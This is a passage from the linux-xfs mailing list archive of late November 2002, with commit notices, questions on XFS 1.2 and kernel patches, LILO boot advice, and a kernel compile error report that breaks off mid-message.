Sun, 2002-11-24 at 23:49, Nathan Scott wrote: > On Sun, Nov 24, 2002 at 04:57:25PM -0500, Diffie wrote: > > > The diffs get smaller.. > > > > > > > and invisible too...? :D > > > > Several servers are down while folks are moving offices this > week (see Steve's earlier mail) - so expect some mods to take > a little while (possibly days) to show up in CVS on oss. > > cheers. > > -- > Nathan > From owner-linux-xfs@oss.sgi.com Mon Nov 25 14:16:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 25 Nov 2002 14:16:59 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAPMGtuR013288 for ; Mon, 25 Nov 2002 14:16:55 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAPLNJKp014480 for ; Mon, 25 Nov 2002 13:23:19 -0800 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA41193 for ; Mon, 25 Nov 2002 16:08:26 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e236.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA23955 for ; Mon, 25 Nov 2002 16:19:19 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gAQ5XaP02757 for linux-xfs@oss.sgi.com; Tue, 26 Nov 2002 00:33:36 -0500 Resent-Message-Id: <200211260533.gAQ5XaP02757@taclab54.munich.sgi.com> Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by daisy-e236.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA21127 for ; Mon, 25 Nov 2002 16:14:31 -0600 (CST) Received: from lab343.munich.sgi.com (lab343.munich.sgi.com [144.253.195.43]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id gAPMETQb36828756 for ; Mon, 25 Nov 2002 14:14:30 -0800 (PST) Received: from lab343.munich.sgi.com (localhost [127.0.0.1]) by lab343.munich.sgi.com (8.12.3/8.12.2/SuSE Linux 0.6) with ESMTP id gAPMCung006350 for ; Mon, 25 Nov 2002 23:12:56 +0100 Received: (from hch@localhost) by lab343.munich.sgi.com (8.12.3/8.12.2/Submit) id gAPMCuvt006349 for hch@sgi.com; Mon, 25 Nov 2002 23:12:56 +0100 Date: Mon, 25 Nov 2002 23:12:56 +0100 From: Christoph Hellwig Message-Id: <200211252212.gAPMCuvt006349@lab343.munich.sgi.com> Subject: TAKE - remove dead pbr_flags field from struct xfs_buftarg To: undisclosed-recipients:; Resent-From: hch@sgi.com Resent-Date: Tue, 26 Nov 2002 00:33:36 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1859 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@sgi.com Precedence: bulk X-list: linux-xfs Date: Mon Nov 25 14:12:32 PST 2002 Workarea: lab343.munich.sgi.com:/home/hch/repo/slinx/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:133966a linux/fs/xfs/linux/xfs_super.c - 1.246 linux/fs/xfs/pagebuf/page_buf.h - 1.52 - remove dead pbr_flags field from struct xfs_buftarg From owner-linux-xfs@oss.sgi.com Mon Nov 25 16:10:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 25 Nov 2002 16:10:19 -0800 (PST) Received: from smtp0.libero.it (smtp0.libero.it [193.70.192.33]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAQ0ACuR014747 for ; Mon, 25 Nov 2002 16:10:13 -0800 Received: from flameeyes.is-a-geek.org (151.25.7.212) by smtp0.libero.it (6.7.015) id 3DE22A340002C8B2 for linux-xfs@oss.sgi.com; Mon, 25 Nov 2002 20:18:51 +0100 Message-ID: Date: Mon, 25 Nov 2002 19:29:02 +0100 From: Flameeyes User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021016 X-Accept-Language: it MIME-Version: 1.0 X-Newsgroups: mls.linux.xfs Subject: How stable is XFS 1.2? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit To: linux-xfs@oss.sgi.com X-Gate: Hamster/1.3.23.210 NewsToMail-Gate X-archive-position: 1860 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: daps_mls@libero.it Precedence: bulk X-list: linux-xfs I'm using XFS 1.1, but I want to know how stable is XFS 1.2 and if there's a patch for last 2.4 kernel prepatch, because I need to install the last v4l2 patch for my tv card and can be installed only in 2.4.20 prepatch. TIA. -- Flameeyes ICQ#49371455 / AIM TheDGP85 / YIM dgp85 / MSN see e-mail From owner-linux-xfs@oss.sgi.com Mon Nov 25 20:29:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 25 Nov 2002 20:29:37 -0800 (PST) Received: from tolkor.sgi.com (tolkor.sgi.com [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAQ4TUuR017444 for ; Mon, 25 Nov 2002 20:29:31 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAQ4aRkq006562 for ; Mon, 25 Nov 2002 22:36:28 -0600 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id PAA77524 for linux-xfs@oss.sgi.com; Tue, 26 Nov 2002 15:30:40 +1100 (EST) Date: Tue, 26 Nov 2002 15:30:40 +1100 (EST) From: Nathan Scott Message-Id: <200211260430.PAA77524@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xfsstats X-archive-position: 1861 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Find a more suitable home for the xfsstats statistics structure. Date: Mon Nov 25 20:29:32 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133971a linux/fs/xfs/xfs_utils.c - 1.56 linux/fs/xfs/linux/xfs_stats.c - 1.9 From owner-linux-xfs@oss.sgi.com Mon Nov 25 23:25:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 25 Nov 2002 23:25:27 -0800 (PST) Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAQ7POuR019269 for ; Mon, 25 Nov 2002 23:25:25 -0800 Received: from auto-nb1.xs4all.nl (host-4.coltex.demon.nl [212.238.252.68]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id gAQ7RuWi044619; Tue, 26 Nov 2002 08:27:57 +0100 (CET) Message-Id: <4.3.2.7.2.20021126081949.03f96890@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 26 Nov 2002 08:26:51 +0100 To: Flameeyes , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: How stable is XFS 1.2? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1862 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 19:29 25-11-2002 +0100, Flameeyes wrote: >I'm using XFS 1.1, but I want to know how stable is XFS 1.2 and if there's >a patch for last 2.4 kernel prepatch, because I need to install the last >v4l2 patch for my tv card and can be installed only in 2.4.20 prepatch. We only have 1.2 patches for 2.4.19 or the 2.4.18-rh. So if you want recent XFS bits you might try the CVS tree. I'm sure some 1.2 patches might turn up for 2.4.20 when it's released. I don't know if the XFS diff between 2.4.19 -> 2.4.20 is large though. You could try the 2.4.19 xfs 1.2pre3 patch against a 2.4.20-rc and see if something fails to patch. I have a number of servers with 1.2pre3 out there which seem to do fine. They are not heavily loaded, but no failures yet. You might need to check out the patch for the broken tg3 driver in 2.4.18-17.7.x 2.4.18-18.7.x. Version 1.2 of the tg3 driver is the latest. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Tue Nov 26 00:02:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 26 Nov 2002 00:02:11 -0800 (PST) Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAQ827uR021348 for ; Tue, 26 Nov 2002 00:02:08 -0800 Received: from fwd05.sul.t-online.de by mailout01.sul.t-online.com with smtp id 18Gai0-0006jK-0E; Tue, 26 Nov 2002 09:04:40 +0100 Received: from puariko.homeip.net (520039812576-0001@[217.231.255.202]) by fmrl05.sul.t-online.com with esmtp id 18Gahp-1tm9jcC; Tue, 26 Nov 2002 09:04:29 +0100 Received: (from thimm@localhost) by bonzo.nirvana (8.12.5/8.12.5/Submit) id gAQ84Qd5022343; Tue, 26 Nov 2002 09:04:26 +0100 Date: Tue, 26 Nov 2002 09:04:26 +0100 From: Axel Thimm To: Flameeyes Cc: linux-xfs@oss.sgi.com Subject: Re: How stable is XFS 1.2? Message-ID: <20021126080426.GA21285@bonzo.nirvana> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="TB36FDmn/VVEgNH/" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-Sender: 520039812576-0001@t-dialin.net X-archive-position: 1863 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs --TB36FDmn/VVEgNH/ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 25, 2002 at 07:29:02PM +0100, Flameeyes wrote: > I'm using XFS 1.1, but I want to know how stable is XFS 1.2 and if=20 > there's a patch for last 2.4 kernel prepatch, because I need to install= =20 > the last v4l2 patch for my tv card and can be installed only in 2.4.20=20 > prepatch. Try http://atrpms.physik.fu-berlin.de/kernel/ It contains the v4l2 api (The -at5 release) and 1.2pre3. --=20 Axel.Thimm@physik.fu-berlin.de --TB36FDmn/VVEgNH/ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE94ysKQBVS1GOamfERAo/FAJ48IrMgjpgN3M5JWrwwDq2mJouX1gCfdHT9 69yWlugvrHWz/Y+9PMMQMXc= =jxdY -----END PGP SIGNATURE----- --TB36FDmn/VVEgNH/-- From owner-linux-xfs@oss.sgi.com Tue Nov 26 09:51:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 26 Nov 2002 09:51:12 -0800 (PST) Received: from ubergeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAQHp7uR000523 for ; Tue, 26 Nov 2002 09:51:07 -0800 Received: (qmail 7128 invoked by uid 500); 26 Nov 2002 17:51:07 -0000 Subject: Re: TAKE - xfsstats From: Austin Gonyou To: Nathan Scott Cc: XFS List In-Reply-To: <200211260430.PAA77524@snort.melbourne.sgi.com> References: <200211260430.PAA77524@snort.melbourne.sgi.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1038333066.6394.3.camel@UberGeek> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 26 Nov 2002 11:51:07 -0600 X-archive-position: 1864 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs Is there a tool like vxstat for XFS? On Mon, 2002-11-25 at 22:30, Nathan Scott wrote: > Find a more suitable home for the xfsstats statistics structure. > > > Date: Mon Nov 25 20:29:32 PST 2002 > Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs > > The following file(s) were checked into: > bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs > > > Modid: 2.4.x-xfs:slinx:133971a > linux/fs/xfs/xfs_utils.c - 1.56 > linux/fs/xfs/linux/xfs_stats.c - 1.9 -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Tue Nov 26 13:45:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 26 Nov 2002 13:45:30 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAQLjPuR003158 for ; Tue, 26 Nov 2002 13:45:26 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with SMTP id gAQLqSkq018486 for ; Tue, 26 Nov 2002 15:52:29 -0600 Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id IAA14496; Wed, 27 Nov 2002 08:46:37 +1100 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.6/8.12.6/Debian-8) with ESMTP id gAQLkO7Y001522; Wed, 27 Nov 2002 08:46:24 +1100 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.6/8.12.6/Debian-8) id gAQLkN1k001520; Wed, 27 Nov 2002 08:46:23 +1100 Date: Wed, 27 Nov 2002 08:46:23 +1100 From: Nathan Scott To: Austin Gonyou Cc: XFS List Subject: Re: TAKE - xfsstats Message-ID: <20021126214623.GB677@frodo.melbourne.sgi.com> References: <200211260430.PAA77524@snort.melbourne.sgi.com> <1038333066.6394.3.camel@UberGeek> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1038333066.6394.3.camel@UberGeek> User-Agent: Mutt/1.4i X-archive-position: 1865 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs On Tue, Nov 26, 2002 at 11:51:07AM -0600, Austin Gonyou wrote: > Is there a tool like vxstat for XFS? There are two tools I know of that report these stats - the cmd/xfsmisc/xfsstats.pl script and the PCP suite of tools (http://oss.sgi.com/projects/pcp). cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Nov 26 16:59:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 26 Nov 2002 16:59:31 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAR0xPuR006180 for ; Tue, 26 Nov 2002 16:59:25 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with SMTP id gAR05tKp025537 for ; Tue, 26 Nov 2002 16:05:56 -0800 Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA15979 for ; Wed, 27 Nov 2002 12:00:40 +1100 Received: by kao2.melbourne.sgi.com (Postfix, from userid 16331) id DB3A73000B8; Wed, 27 Nov 2002 12:00:39 +1100 (EST) Received: from kao2.melbourne.sgi.com (localhost [127.0.0.1]) by kao2.melbourne.sgi.com (Postfix) with ESMTP id B046285 for ; Wed, 27 Nov 2002 12:00:39 +1100 (EST) X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 From: Keith Owens To: linux-xfs@oss.sgi.com Subject: Announce: XFS split patches for 2.4.20-rc3 Date: Wed, 27 Nov 2002 12:00:34 +1100 Message-ID: <30468.1038358834@kao2.melbourne.sgi.com> X-archive-position: 1866 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: text/plain; charset=us-ascii ftp://oss.sgi.com/projects/xfs/download/patches/2.4.20-rc3. For some time the XFS group have been producing split patches for XFS, separating the core XFS changes from additional patches such as kdb, xattr, acl, dmapi. The split patches are released to the world with the hope that developers and distributors will find them useful. Read the README in each directory very carefully, the split patch format has changed over a few kernel releases. Any questions that are covered by the README will be ignored. There is even a 2.4.20/README for the terminally impatient :). -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.1.1 10/15/1999 iD8DBQE95Bkwi4UHNye0ZOoRAqxiAKCelrHz2lx+qI1fg+FjWIqUlOoqfwCdHBW6 P5hr9Mt7BmwtufcV6QZROY0= =u30Y -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Tue Nov 26 18:56:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 26 Nov 2002 18:56:32 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAR2uUuR008000 for ; Tue, 26 Nov 2002 18:56:31 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAR0whG8015523 for ; Tue, 26 Nov 2002 16:58:44 -0800 Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gAR2vcA03126; Wed, 27 Nov 2002 13:57:38 +1100 Date: Wed, 27 Nov 2002 13:57:38 +1100 From: Keith Owens Message-Id: <200211270257.gAR2vcA03126@sherman.melbourne.sgi.com> Subject: TAKE - Upgrade to 2.4.20-rc4 X-archive-position: 1867 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Upgrade to 2.4.20-rc4 Date: Tue Nov 26 18:55:33 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133991a linux/kernel/signal.c - 1.23 linux/drivers/isdn/isdn_ppp.c - 1.25 linux/arch/ppc/kernel/signal.c - 1.16 linux/arch/ppc/Makefile - 1.24 linux/Makefile - 1.182 linux/MAINTAINERS - 1.90 linux/drivers/scsi/ips.c - 1.26 linux/drivers/sound/emu10k1/timer.h - 1.4 linux/drivers/sound/emu10k1/timer.c - 1.3 linux/drivers/sound/emu10k1/recmgr.h - 1.3 linux/drivers/sound/emu10k1/recmgr.c - 1.6 linux/drivers/sound/emu10k1/main.c - 1.17 linux/drivers/sound/emu10k1/hwaccess.h - 1.9 linux/drivers/sound/emu10k1/hwaccess.c - 1.4 linux/drivers/sound/emu10k1/cardwo.c - 1.8 linux/drivers/sound/emu10k1/cardwi.c - 1.7 linux/fs/reiserfs/super.c - 1.15 linux/init/do_mounts.c - 1.5 Apart from EXTRAVERSION in the top level Makefile ("-rc3" -> "-rc4"), there are no changes that affect XFS. You can use the 2.4.20-rc3 XFS split patches against 2.4.20-rc4 as well. From owner-linux-xfs@oss.sgi.com Wed Nov 27 08:27:28 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 08:27:32 -0800 (PST) Received: from smtp2.libero.it (smtp2.libero.it [193.70.192.52]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARGRQuR000771 for ; Wed, 27 Nov 2002 08:27:27 -0800 Received: from flameeyes.is-a-geek.org (151.25.6.91) by smtp2.libero.it (6.7.015) id 3DE35323000A2632 for linux-xfs@oss.sgi.com; Wed, 27 Nov 2002 17:30:00 +0100 Message-ID: Date: Wed, 27 Nov 2002 17:23:59 +0100 From: Flameeyes User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021016 X-Accept-Language: it MIME-Version: 1.0 X-Newsgroups: mls.linux.xfs Subject: Boot Loader that Support boot from hdb Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit To: linux-xfs@oss.sgi.com X-Gate: Hamster/1.3.23.210 NewsToMail-Gate X-archive-position: 1868 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: daps_mls@libero.it Precedence: bulk X-list: linux-xfs Does anyone know a boot loader that support boot from hdb and with xfs support? Lilo doesn't work, it wrote LI 04 04 04 04 and so on since I reboot the system. TIA -- Flameeyes ICQ#49371455 / AIM TheDGP85 / YIM dgp85 / MSN see e-mail From owner-linux-xfs@oss.sgi.com Wed Nov 27 08:46:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 08:46:55 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARGkpuR001302 for ; Wed, 27 Nov 2002 08:46:51 -0800 Received: (qmail 26649 invoked by uid 1010); 27 Nov 2002 16:51:44 -0000 Date: Wed, 27 Nov 2002 11:51:44 -0500 From: George Georgalis To: Flameeyes Cc: linux-xfs@oss.sgi.com Subject: Re: Boot Loader that Support boot from hdb Message-ID: <20021127165144.GE26033@trot.local> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-archive-position: 1869 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Wed, Nov 27, 2002 at 05:23:59PM +0100, Flameeyes wrote: >Does anyone know a boot loader that support boot from hdb and with xfs >support? >Lilo doesn't work, it wrote LI 04 04 04 04 and so on since I reboot the >system. LILO should work. are you sure it's installed correctly? what version are you using? sometimes you have to add lines like this, per man lilo.conf disk=/dev/sda bios=0x80 disk=/dev/hda bios=0x81 I like GRUB better, but I'm currently using lilo, at least I did back when I compiled my xfs kernel 20 days ago :) Linux doesn't have a problem booting off secondary IDE controllers/channels like M$ does. // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org Multimedia, DB, DNS and Metrics. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Wed Nov 27 08:51:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 08:51:58 -0800 (PST) Received: from quasar.sif.it (IDENT:root@quasar.sif.it [131.154.110.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARGptuR001747 for ; Wed, 27 Nov 2002 08:51:56 -0800 Received: from localhost (matteo@localhost) by quasar.sif.it (8.11.6/8.11.6) with ESMTP id gARGsWe14087; Wed, 27 Nov 2002 17:54:32 +0100 Date: Wed, 27 Nov 2002 17:54:32 +0100 (CET) From: Matteo Centonza To: Flameeyes cc: linux-xfs@oss.sgi.com Subject: Re: [OT] Boot Loader that Support boot from hdb In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1870 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: matteo@sif.it Precedence: bulk X-list: linux-xfs Hi, > Does anyone know a boot loader that support boot from hdb and with xfs > support? Lilo doesn't work, it wrote LI 04 04 04 04 and so on since I > reboot the system. TIA could depend on the fact that lilo isn't able to figure out the bios setup sequence. So from lilo.conf(5): [snip] disk=device-name Defines non-standard parameters for the specified disk. See section "Disk geometry" of user.tex for details. Especially useful is the `bios=' parame- ter. The BIOS numbers your disks 0x80, 0x81, etc. and it is impossible to decide which Linux disk corresponds to which BIOS disk (since this depends on the BIOS setup, and on the type of BIOS), so if you have an unusual setup you need to state the correspondence between Linux disks and BIOS disks. For example, disk=/dev/sda bios=0x80 disk=/dev/hda bios=0x81 would say that your SCSI disk is the first BIOS disk, and your (primary master) IDE disk is the second BIOS disk. [snip] Try setting: disk=/dev/hdb bios=0x81 or use grub. Ciao, -m From owner-linux-xfs@oss.sgi.com Wed Nov 27 09:31:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 09:31:29 -0800 (PST) Received: from smtp0.libero.it (smtp0.libero.it [193.70.192.33]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARHVMuR003537 for ; Wed, 27 Nov 2002 09:31:23 -0800 Received: from flameeyes.is-a-geek.org (151.25.6.44) by smtp0.libero.it (6.7.015) id 3DE22A340011C4A2 for linux-xfs@oss.sgi.com; Wed, 27 Nov 2002 18:33:56 +0100 Message-ID: Date: Wed, 27 Nov 2002 17:58:19 +0100 From: Flameeyes User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021016 X-Accept-Language: it MIME-Version: 1.0 X-Newsgroups: mls.linux.xfs Subject: Re: Boot Loader that Support boot from hdb References: <20021127165144.GE26033@trot.local> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit To: linux-xfs@oss.sgi.com X-Gate: Hamster/1.3.23.210 NewsToMail-Gate X-archive-position: 1871 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: diego_p@libero.it Precedence: bulk X-list: linux-xfs George Georgalis wrote: > LILO should work. are you sure it's installed correctly? what version > are you using? I'm using LILO 22.3.3, if I install it on the first hdd it works perfectly, but when I change the boot line for use the /dev/hdb, the system can't boot. > sometimes you have to add lines like this, per man lilo.conf I haven't tried this, but I can try it now :) I have an Award Bios that boot from [in sequence] floppy drive, HDD-1 [primary slave], HDD-0 [primary master]. > I like GRUB better, but I'm currently using lilo, at least I did back > when I compiled my xfs kernel 20 days ago :) Never tried grub, where I can find some info about that? -- Flameeyes ICQ#49371455 / AIM TheDGP85 / YIM dgp85 / MSN see e-mail From owner-linux-xfs@oss.sgi.com Wed Nov 27 10:04:21 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 27 Nov 2002 10:04:25 -0800 (PST) Received: from imf07bis.bellsouth.net (mail307.mail.bellsouth.net [205.152.58.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gARI4KuR004262 for ; Wed, 27 Nov 2002 10:04:21 -0800 Received: from TAZ2 ([66.156.4.95]) by imf07bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021127180835.SDHM3259.imf07bis.bellsouth.net@TAZ2> for ; Wed, 27 Nov 2002 13:08:35 -0500 Date: Wed, 27 Nov 2002 13:06:41 -0500 From: Greg Freemyer Subject: OT: non SMP support in 2.4.20-rc? To: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021127180835.SDHM3259.imf07bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gARI4LuR004266 X-archive-position: 1872 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Ever since CVS was updated to work with 2.4.20-rc kernels I have been unable to successfully compile with SMP not enabled. If I have it enabled via make menuconfig all works well. If I make that one change, then make dep; make bzImage, it errors out with the below. Am I doing something wrong, or is there a generic problem with this kernel? ==== Error Message (this is with the 2.4.20-rc4 Keith just put in cvs.) gcc -D__KERNEL__ -I/usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -pipe -mpreferred-stack-boundary=2 -march=i686 -nostdinc -iwithprefix include -DKBUILD_BASENAME=ksyms -DEXPORT_SYMTAB -c ksyms.c In file included from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modversions.h:67, from /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/module.h:21, from ksyms.c:14: /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/modules/dec_and_lock.ver:2: warning: `atomic_dec_and_lock' redefined /usr/local/TruStore/xfs_src/linux-2.4-xfs/linux/include/linux/spinlock.h:65: warning: this is the location of the previous definition In file included from 